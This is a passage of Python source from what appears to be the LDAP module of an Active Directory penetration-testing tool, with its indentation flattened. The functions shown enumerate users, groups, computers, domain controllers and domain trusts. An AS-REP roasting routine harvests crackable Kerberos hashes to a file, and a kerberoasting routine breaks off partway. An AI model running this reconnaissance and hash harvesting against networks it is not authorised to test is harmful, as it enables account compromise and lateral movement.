pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
# We default attributes to blank strings if they don't exist in the dict
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', ''):<60}")
users.append(user.get("sAMAccountName", ""))
if self.args.users_export:
self.logger.display(f"Writing {len(resp_parsed):d} local users to {self.args.users_export}")
with open(self.args.users_export, "w+") as file:
file.writelines(f"{user}\n" for user in users)
def users_export(self):
self.users()
def groups(self):
# Building the search filter
if self.args.groups:
self.logger.debug(f"Dumping group: {self.args.groups}")
# Resolve group DN and primaryGroupID (objectSid)
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
group_parsed = parse_result_attributes(group_resp)
if not group_parsed:
self.logger.fail(f"Group '{self.args.groups}' not found")
return
else:
group = group_parsed[0]
# Search filter: user must have membership OR primaryGroupID
search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
if self.args.groups:
# Display group members
if not resp_parsed:
self.logger.fail(f"Group '{self.args.groups}' has no members")
else:
for item in resp_parsed:
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
# Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
else:
# Display all groups
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
for item in resp_parsed:
try:
# Fix if group has only one member
if not isinstance(item.get("member", []), list):
item["member"] = [item["member"]]
self.logger.highlight(f"{item['cn']:<40} {len(item.get('member', [])):<9} {item.get('description', '')}")
except Exception as e:
self.logger.debug("Exception:", exc_info=True)
self.logger.debug(f"Skipping item, cannot process due to error {e}")
def computers(self):
resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["sAMAccountName"])
resp_parsed = parse_result_attributes(resp)
if resp:
self.logger.display(f"Total records returned: {len(resp_parsed)}")
for item in resp_parsed:
self.logger.highlight(item["sAMAccountName"])
def dc_list(self):
# bypass host resolver configuration via configure=False (default pulls from /etc/resolv.conf or registry on Windows)
resolv = resolver.Resolver(configure=False)
ns = self.args.dns_server or self.host
resolv.nameservers = [socket.gethostbyname(ns)]
self.logger.debug(f"DNS Server option: {self.args.dns_server}, using DNS server: {resolv.nameservers}")
resolv.timeout = self.args.dns_timeout
def resolve_and_display_hostname(name, domain_name=None):
prefix = f"[{domain_name}] " if domain_name else ""
try:
# Resolve using DNS server for A, AAAA, CNAME, PTR, and NS records
for record_type in ["A", "AAAA", "CNAME", "PTR", "NS"]:
try:
answers = resolv.resolve(name, record_type, tcp=self.args.dns_tcp)
for rdata in answers:
if record_type in ["A", "AAAA"]:
ip_address = rdata.to_text()
self.logger.highlight(f"{prefix}{name} = {colored(ip_address, host_info_colors[0])}")
return
elif record_type == "CNAME":
self.logger.highlight(f"{prefix}{name} CNAME = {colored(rdata.to_text(), host_info_colors[0])}")
return
elif record_type == "PTR":
self.logger.highlight(f"{prefix}{name} PTR = {colored(rdata.to_text(), host_info_colors[0])}")
return
elif record_type == "NS":
self.logger.highlight(f"{prefix}{name} NS = {colored(rdata.to_text(), host_info_colors[0])}")
return
except resolver.NXDOMAIN:
self.logger.fail(f"{prefix}{name} ({record_type}) = Host not found (NXDOMAIN)")
except resolver.Timeout:
self.logger.fail(f"{prefix}{name} ({record_type}) = Connection timed out")
except resolver.NoAnswer:
self.logger.fail(f"{prefix}{name} ({record_type}) = DNS server did not respond")
except resolver.NoNameservers:
self.logger.fail(f"{prefix}{name} ({record_type}) = No nameservers available")
except Exception as e:
self.logger.fail(f"{prefix}{name} ({record_type}) encountered an unexpected error: {e}")
except Exception as e:
self.logger.fail(f"Skipping item(dNSHostName) {prefix}{name}, error: {e}")
# Find all domain controllers in the current domain
self.logger.info("Enumerating Domain Controllers in current domain...")
search_filter = "(&(objectCategory=computer)(primaryGroupId=516))"
attributes = ["dNSHostName"]
resp = self.search(search_filter, attributes)
resp_parse = parse_result_attributes(resp)
for item in resp_parse:
if "dNSHostName" in item: # Get dNSHostName attribute
name = item["dNSHostName"]
resolve_and_display_hostname(name)
# Find all trusted domains
self.logger.info("Enumerating Trusted Domains...")
search_filter = "(objectClass=trustedDomain)"
attributes = ["name", "trustDirection", "trustType", "trustAttributes", "flatName"]
resp = self.search(search_filter, attributes, 0)
trust_resp_parse = parse_result_attributes(resp)
for trust in trust_resp_parse:
try:
trust_name = trust["name"]
trust_flat_name = trust["flatName"]
trust_direction = int(trust["trustDirection"])
trust_type = int(trust["trustType"])
trust_attributes = int(trust["trustAttributes"])
# See: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/e9a2d23c-c31e-4a6f-88a0-6646fdb51a3c
trust_attribute_flags = {
0x1: "Non-Transitive",
0x2: "Uplevel-Only",
0x4: "Quarantined Domain",
0x8: "Forest Transitive",
0x10: "Cross Organization",
0x20: "Within Forest",
0x40: "Treat as External",
0x80: "Uses RC4 Encryption",
0x200: "Cross Organization No TGT Delegation",
0x800: "Cross Organization Enable TGT Delegation",
0x2000: "PAM Trust"
}
# For check if multiple posibble flags, like Uplevel-Only, Treat as External
trust_attributes_text = ", ".join(
text for flag, text in trust_attribute_flags.items()
if trust_attributes & flag
) or "Other" # If Trust attrs not known
# Convert trust direction/type to human-readable format
direction_text = {
0: "Disabled",
1: "Inbound",
2: "Outbound",
3: "Bidirectional",
}[trust_direction]
trust_type_text = {
1: "Windows NT",
2: "Active Directory",
3: "Kerberos",
4: "Unknown",
5: "Azure Active Directory",
}[trust_type]
self.logger.info(f"Processing trusted domain: {trust_name} ({trust_flat_name})")
self.logger.info(f"Trust type: {trust_type_text}, Direction: {direction_text}, Trust Attributes: {trust_attributes_text}")
except Exception as e:
self.logger.fail(f"Failed {e} in trust entry: {trust}")
# Only process if it's an Active Directory trust
if int(trust_type) == 2:
# Try to find domain controllers in trusted domain using DNS
# Check if we can resolve the trusted domain's DC using DNS
dc_dns_name = f"_ldap._tcp.dc._msdcs.{trust_name}"
try:
srv_records = resolv.resolve(dc_dns_name, "SRV", tcp=self.args.dns_tcp)
self.logger.info(f"Found domain controllers for trusted domain {trust_name} via DNS:")
for srv in srv_records:
dc_hostname = str(srv.target).rstrip(".")
self.logger.success(f"Found DC in trusted domain: {colored(dc_hostname, host_info_colors[0], attrs=['bold'])}")
self.logger.highlight(f"{trust_name} -> {direction_text} -> {trust_attributes_text}")
resolve_and_display_hostname(dc_hostname)
except Exception as e:
self.logger.fail(f"Failed to resolve DCs for {trust_name} via DNS: {e}")
else:
self.logger.display(f"Skipping non-Active Directory trust '{trust_name}' with type: {trust_type_text} and direction: {direction_text}")
self.logger.info("Domain Controller enumeration complete.")
def active_users(self):
if len(self.args.active_users) > 0:
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
else:
self.logger.debug("Trying to dump all users")
search_filter = "(sAMAccountType=805306368)"
# Default to these attributes to mirror the SMB --users functionality
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
resp = self.search(search_filter, request_attributes, sizeLimit=0)
if resp:
all_users = parse_result_attributes(resp)
# Filter disabled users (ignore accounts without userAccountControl value)
active_users = [user for user in all_users if not (int(user.get("userAccountControl", UF_ACCOUNTDISABLE)) & UF_ACCOUNTDISABLE)]
self.logger.display(f"Total records returned: {len(all_users)}, total {len(all_users) - len(active_users):d} user(s) disabled")
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<9}{'-Description-':<60}")
for user in active_users:
pwd_last_set = user.get("pwdLastSet", "")
if pwd_last_set:
pwd_last_set = "<never>" if pwd_last_set == "0" else datetime.fromtimestamp(self.getUnixTime(int(pwd_last_set))).strftime("%Y-%m-%d %H:%M:%S")
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{pwd_last_set:<20}{user.get('badPwdCount', ''):<9}{user.get('description', '')}")
def asreproast(self):
# Building the search filter
search_filter = f"(&(UserAccountControl:1.2.840.113556.1.4.803:={UF_DONT_REQUIRE_PREAUTH})(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE}))(!(objectCategory=computer)))"
resp = self.search(search_filter, attributes=["sAMAccountName"], sizeLimit=0)
resp_parsed = parse_result_attributes(resp)
if not resp_parsed:
self.logger.highlight("No entries found!")
else:
self.logger.display(f"Total of records returned {len(resp_parsed)}")
for user in resp_parsed:
hash_TGT = KerberosAttacks(self).get_tgt_asroast(user["sAMAccountName"])
if hash_TGT:
self.logger.highlight(process_secret_dump(hash_TGT))
with open(self.args.asreproast, "a+") as hash_asreproast:
hash_asreproast.write(f"{hash_TGT}\n")
def kerberoasting(self):
if self.args.no_preauth_targets:
self.roast_no_preauth()
return
if self.args.targeted_kerberoast:
target_users = parse_argument(self.args.targeted_kerberoast)
user_filter = "".join(f"(sAMAccountName={user})" for user in target_users)
searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))"
elif self.args.kerberoast_account:
target_accounts = parse_argument(self.args.kerberoast_account)
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
# build search filter for specific users
user_filter = "".join([f"(sAMAccountName={username})" for username in target_accounts])
searchFilter = f"(&(servicePrincipalName=*)(|{user_filter}))"
else:
# default to all
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
attributes = [
"sAMAccountName",
"userAccountControl",
"servicePrincipalName",
"MemberOf",